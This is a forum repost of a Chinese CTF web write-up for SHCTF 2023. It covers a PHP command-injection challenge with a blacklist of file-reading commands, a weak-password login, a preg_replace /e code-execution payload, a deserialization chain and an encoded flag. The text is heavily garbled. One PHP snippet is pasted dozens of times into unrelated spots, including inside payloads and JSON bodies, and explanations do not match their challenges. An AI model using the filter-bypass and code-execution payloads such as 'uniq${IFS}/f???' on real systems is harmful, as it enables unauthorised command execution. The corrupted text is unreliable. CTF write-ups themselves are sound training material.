2023 SHCTF-校外赛道 WEB WP

打印 上一主题 下一主题

主题 960|帖子 960|积分 2880

WEEK1

babyRCE
  1. <?php
  2. $rce = $_GET['rce'];
  3. if (isset($rce)) {
  4.     if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|"/i", $rce)) {
  5.         system($rce);
  6.     }else {
  7.             echo "hhhhhhacker!!!"."\n";
  8.     }
  9. } else {
  10.     highlight_file(__FILE__);
  11. }
复制代码


一道较为基础的反序列化链子
文章推荐:php <?php

$rce = $_GET['rce'];
if (isset($rce)) {
    if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
        system($rce);
    }else {
            echo "hhhhhhacker!!!"."\n";
    }
} else {
    highlight_file(__FILE__);
}反序列化总结
  1. [/code][size=5]登录就给flag[/size]
  2. 点击登录,等待3秒,跳转到登录页面,尝试弱口令admin和password,登录成功
  3. [size=5][/size]
  4.  [img=565,78]https://img2023.cnblogs.com/blog/3167109/202310/3167109-20231030195707409-1980091191.png[/img]
  5. [size=5]飞机大战[/size]
  6. 查看源代码找到
  7. [img=395,83]https://img2023.cnblogs.com/blog/3167109/202310/3167109-20231030195915060-1866378878.png[/img]
  8. 进去找到一串编码
  9. [img=658,82]https://img2023.cnblogs.com/blog/3167109/202310/3167109-20231030200000266-1173510787.png[/img]
  10. 执行一下得到base64编码
  11. [code]?rce=uniq${IFS}/f???
复制代码
  1. flag{82c3aa08-6f04-48ab-abf3-99b9aaa1cd22}
复制代码
解码即可

ezphp
  1. <?php
  2. $rce = $_GET['rce'];
  3. if (isset($rce)) {
  4.     if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|"/i", $rce)) {
  5.         system($rce);
  6.     }else {
  7.             echo "hhhhhhacker!!!"."\n";
  8.     }
  9. } else {
  10.     highlight_file(__FILE__);
  11. }it <?php
  12. $rce = $_GET['rce'];
  13. if (isset($rce)) {
  14.     if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|"/i", $rce)) {
  15.         system($rce);
  16.     }else {
  17.             echo "hhhhhhacker!!!"."\n";
  18.     }
  19. } else {
  20.     highlight_file(__FILE__);
  21. }is <?php
  22. $rce = $_GET['rce'];
  23. if (isset($rce)) {
  24.     if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|"/i", $rce)) {
  25.         system($rce);
  26.     }else {
  27.             echo "hhhhhhacker!!!"."\n";
  28.     }
  29. } else {
  30.     highlight_file(__FILE__);
  31. }begin
复制代码


第一个过滤接收字符在判断之后,可以直接忽视

随后就是漏洞利用,这里是\e的命令执行
参考:深入研究preg_replace与代码执行
  1. ?code=${ <?php
  2. $rce = $_GET['rce'];
  3. if (isset($rce)) {
  4.     if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|"/i", $rce)) {
  5.         system($rce);
  6.     }else {
  7.             echo "hhhhhhacker!!!"."\n";
  8.     }
  9. } else {
  10.     highlight_file(__FILE__);
  11. }phpinfo() <?php
  12. $rce = $_GET['rce'];
  13. if (isset($rce)) {
  14.     if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|"/i", $rce)) {
  15.         system($rce);
  16.     }else {
  17.             echo "hhhhhhacker!!!"."\n";
  18.     }
  19. } else {
  20.     highlight_file(__FILE__);
  21. }}
复制代码
  1. <?php
  2. highlight_file(__FILE__);
  3. class A{
  4.   public $var_1;
  5.   
  6.   public function __invoke(){
  7.    include($this->var_1);
  8.   }
  9. }
  10. class B{
  11.   public $q;
  12.   public function __wakeup()
  13. {
  14.   if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
  15.             echo "hacker";           
  16.         }
  17. }
  18. }
  19. class C{
  20.   public $var;
  21.   public $z;
  22.     public function __toString(){
  23.         return $this->z->var;
  24.     }
  25. }
  26. class D{
  27.   public $p;
  28.     public function __get($key){
  29.         $function = $this->p;
  30.         return $function();
  31.     }  
  32. }
  33. if(isset($_GET['payload']))
  34. {
  35.     unserialize($_GET['payload']);
  36. }
  37. ?>
复制代码
生成你的邀请函吧~
  1. API:url/print("\u005a\u006d\u0078\u0068\u005a\u0033\u0074\u006d\u0059\u007a\u004a\u0068\u004e\u006d\u0045\u0031\u005a\u0053\u0030\u0030\u004d\u0044\u0064\u0069\u004c\u0054\u0051\u0035\u0059\u0054\u0055\u0074\u004f\u0044\u0051\u0035\u004e\u0053\u0030\u0077\u0059\u007a\u0041\u0033\u004d\u007a\u005a\u006c\u004e\u0032\u0045\u007a\u005a\u006d\u0052\u0039\u000a") <?php
  2. $rce = $_GET['rce'];
  3. if (isset($rce)) {
  4.     if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|"/i", $rce)) {
  5.         system($rce);
  6.     }else {
  7.             echo "hhhhhhacker!!!"."\n";
  8.     }
  9. } else {
  10.     highlight_file(__FILE__);
  11. } <?php
  12. $rce = $_GET['rce'];
  13. if (isset($rce)) {
  14.     if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|"/i", $rce)) {
  15.         system($rce);
  16.     }else {
  17.             echo "hhhhhhacker!!!"."\n";
  18.     }
  19. } else {
  20.     highlight_file(__FILE__);
  21. }Request:POST <?php
  22. $rce = $_GET['rce'];
  23. if (isset($rce)) {
  24.     if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|"/i", $rce)) {
  25.         system($rce);
  26.     }else {
  27.             echo "hhhhhhacker!!!"."\n";
  28.     }
  29. } else {
  30.     highlight_file(__FILE__);
  31. }application/json <?php
  32. $rce = $_GET['rce'];
  33. if (isset($rce)) {
  34.     if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|"/i", $rce)) {
  35.         system($rce);
  36.     }else {
  37.             echo "hhhhhhacker!!!"."\n";
  38.     }
  39. } else {
  40.     highlight_file(__FILE__);
  41. } <?php
  42. $rce = $_GET['rce'];
  43. if (isset($rce)) {
  44.     if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|"/i", $rce)) {
  45.         system($rce);
  46.     }else {
  47.             echo "hhhhhhacker!!!"."\n";
  48.     }
  49. } else {
  50.     highlight_file(__FILE__);
  51. }Body:{ <?php
  52. $rce = $_GET['rce'];
  53. if (isset($rce)) {
  54.     if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|"/i", $rce)) {
  55.         system($rce);
  56.     }else {
  57.             echo "hhhhhhacker!!!"."\n";
  58.     }
  59. } else {
  60.     highlight_file(__FILE__);
  61. } <?php
  62. $rce = $_GET['rce'];
  63. if (isset($rce)) {
  64.     if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|"/i", $rce)) {
  65.         system($rce);
  66.     }else {
  67.             echo "hhhhhhacker!!!"."\n";
  68.     }
  69. } else {
  70.     highlight_file(__FILE__);
  71. } <?php
  72. $rce = $_GET['rce'];
  73. if (isset($rce)) {
  74.     if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|"/i", $rce)) {
  75.         system($rce);
  76.     }else {
  77.             echo "hhhhhhacker!!!"."\n";
  78.     }
  79. } else {
  80.     highlight_file(__FILE__);
  81. } <?php
  82. $rce = $_GET['rce'];
  83. if (isset($rce)) {
  84.     if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|"/i", $rce)) {
  85.         system($rce);
  86.     }else {
  87.             echo "hhhhhhacker!!!"."\n";
  88.     }
  89. } else {
  90.     highlight_file(__FILE__);
  91. } <?php
  92. $rce = $_GET['rce'];
  93. if (isset($rce)) {
  94.     if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|"/i", $rce)) {
  95.         system($rce);
  96.     }else {
  97.             echo "hhhhhhacker!!!"."\n";
  98.     }
  99. } else {
  100.     highlight_file(__FILE__);
  101. } <?php
  102. $rce = $_GET['rce'];
  103. if (isset($rce)) {
  104.     if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|"/i", $rce)) {
  105.         system($rce);
  106.     }else {
  107.             echo "hhhhhhacker!!!"."\n";
  108.     }
  109. } else {
  110.     highlight_file(__FILE__);
  111. }"name": <?php
  112. $rce = $_GET['rce'];
  113. if (isset($rce)) {
  114.     if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|"/i", $rce)) {
  115.         system($rce);
  116.     }else {
  117.             echo "hhhhhhacker!!!"."\n";
  118.     }
  119. } else {
  120.     highlight_file(__FILE__);
  121. }"Yourname", <?php
  122. $rce = $_GET['rce'];
  123. if (isset($rce)) {
  124.     if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|"/i", $rce)) {
  125.         system($rce);
  126.     }else {
  127.             echo "hhhhhhacker!!!"."\n";
  128.     }
  129. } else {
  130.     highlight_file(__FILE__);
  131. } <?php
  132. $rce = $_GET['rce'];
  133. if (isset($rce)) {
  134.     if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|"/i", $rce)) {
  135.         system($rce);
  136.     }else {
  137.             echo "hhhhhhacker!!!"."\n";
  138.     }
  139. } else {
  140.     highlight_file(__FILE__);
  141. } <?php
  142. $rce = $_GET['rce'];
  143. if (isset($rce)) {
  144.     if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|"/i", $rce)) {
  145.         system($rce);
  146.     }else {
  147.             echo "hhhhhhacker!!!"."\n";
  148.     }
  149. } else {
  150.     highlight_file(__FILE__);
  151. } <?php
  152. $rce = $_GET['rce'];
  153. if (isset($rce)) {
  154.     if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|"/i", $rce)) {
  155.         system($rce);
  156.     }else {
  157.             echo "hhhhhhacker!!!"."\n";
  158.     }
  159. } else {
  160.     highlight_file(__FILE__);
  161. } <?php
  162. $rce = $_GET['rce'];
  163. if (isset($rce)) {
  164.     if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|"/i", $rce)) {
  165.         system($rce);
  166.     }else {
  167.             echo "hhhhhhacker!!!"."\n";
  168.     }
  169. } else {
  170.     highlight_file(__FILE__);
  171. } <?php
  172. $rce = $_GET['rce'];
  173. if (isset($rce)) {
  174.     if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|"/i", $rce)) {
  175.         system($rce);
  176.     }else {
  177.             echo "hhhhhhacker!!!"."\n";
  178.     }
  179. } else {
  180.     highlight_file(__FILE__);
  181. }"imgurl": <?php
  182. $rce = $_GET['rce'];
  183. if (isset($rce)) {
  184.     if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|"/i", $rce)) {
  185.         system($rce);
  186.     }else {
  187.             echo "hhhhhhacker!!!"."\n";
  188.     }
  189. } else {
  190.     highlight_file(__FILE__);
  191. }"http://q.qlogo.cn/headimg_dl?dst_uin=QQnumb&spec=640&img_type=jpg" <?php
  192. $rce = $_GET['rce'];
  193. if (isset($rce)) {
  194.     if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|"/i", $rce)) {
  195.         system($rce);
  196.     }else {
  197.             echo "hhhhhhacker!!!"."\n";
  198.     }
  199. } else {
  200.     highlight_file(__FILE__);
  201. } <?php
  202. $rce = $_GET['rce'];
  203. if (isset($rce)) {
  204.     if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|"/i", $rce)) {
  205.         system($rce);
  206.     }else {
  207.             echo "hhhhhhacker!!!"."\n";
  208.     }
  209. } else {
  210.     highlight_file(__FILE__);
  211. }} <?php
  212. $rce = $_GET['rce'];
  213. if (isset($rce)) {
  214.     if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|"/i", $rce)) {
  215.         system($rce);
  216.     }else {
  217.             echo "hhhhhhacker!!!"."\n";
  218.     }
  219. } else {
  220.     highlight_file(__FILE__);
  221. } <?php
  222. $rce = $_GET['rce'];
  223. if (isset($rce)) {
  224.     if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|"/i", $rce)) {
  225.         system($rce);
  226.     }else {
  227.             echo "hhhhhhacker!!!"."\n";
  228.     }
  229. } else {
  230.     highlight_file(__FILE__);
  231. }
复制代码


使用POST <?php

$rce = $_GET['rce'];
if (isset($rce)) {
    if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
        system($rce);
    }else {
            echo "hhhhhhacker!!!"."\n";
    }
} else {
    highlight_file(__FILE__);
}json请求来生成你的邀请函吧~flag就在里面哦~
postman向
  1. print("\u005a\u006d\u0078\u0068\u005a\u0033\u0074\u006d\u0059\u007a\u004a\u0068\u004e\u006d\u0045\u0031\u005a\u0053\u0030\u0030\u004d\u0044\u0064\u0069\u004c\u0054\u0051\u0035\u0059\u0054\u0055\u0074\u004f\u0044\u0051\u0035\u004e\u0053\u0030\u0077\u0059\u007a\u0041\u0033\u004d\u007a\u005a\u006c\u004e\u0032\u0045\u007a\u005a\u006d\u0052\u0039\u000a")
复制代码
发包即可

WEEK2

no_wake_up

[code]
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

勿忘初心做自己

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表